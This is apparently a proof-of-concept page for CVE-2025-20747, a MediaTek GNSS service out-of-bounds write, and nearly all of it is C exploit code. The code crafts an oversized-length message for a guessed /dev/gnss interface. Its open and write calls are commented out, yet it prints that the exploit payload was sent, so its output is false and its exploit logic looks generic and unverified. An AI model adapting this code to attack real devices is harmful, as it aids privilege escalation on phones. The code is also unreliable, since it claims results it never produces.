CVE-2025-20747: MediaTek GNSS服务越界写入权限提升漏洞

// CVE-2025-20747 PoC - MediaTek GNSS Service Out-of-Bounds Write // This PoC demonstrates the vulnerability in gnss service boundary check // Note: Requires system privilege to exploit #include <stdio.h> #include <string.h> #include <unistd.h> // GNSS service message types #define GNSS_MSG_TYPE_CONFIG 0x01 #define GNSS_MSG_TYPE_DATA 0x02 // Malicious payload structure struct gnss_message { unsigned int msg_type; unsigned int payload_length; unsigned char payload[256]; }; // Craft malicious message with oversized payload int craft_exploit_payload(unsigned char *buffer, int size) { struct gnss_message *msg = (struct gnss_message *)buffer; // Set message type msg->msg_type = GNSS_MSG_TYPE_CONFIG; // Intended length check bypass - triggers OOB write // The service fails to properly validate payload_length msg->payload_length = 512; // Exceeds buffer size of 256 // Fill payload with controlled data for exploitation memset(msg->payload, 0x41, 256); return sizeof(struct gnss_message); } // Send malicious payload to gnss service int trigger_vulnerability() { unsigned char exploit_buffer[1024]; int fd; int payload_size; // Open gnss service interface // fd = open("/dev/gnss", O_RDWR); // if (fd < 0) { // printf("Failed to open gnss device\n"); // return -1; // } // Craft exploit payload payload_size = craft_exploit_payload(exploit_buffer, sizeof(exploit_buffer)); // Send to gnss service - triggers OOB write // write(fd, exploit_buffer, payload_size); printf("Exploit payload sent to gnss service\n"); printf("Payload size: %d bytes\n", payload_size); printf("Expected payload length field: %d\n", ((struct gnss_message*)exploit_buffer)->payload_length); // Close device // close(fd); return 0; } int main() { printf("CVE-2025-20747 MediaTek GNSS Service Exploit\n"); printf("Target: MediaTek GNSS Service\n"); printf("Vulnerability: Out-of-bounds write due to incorrect bounds check\n"); printf("Prerequisite: System privilege required\n"); printf("\n"); trigger_vulnerability(); return 0; }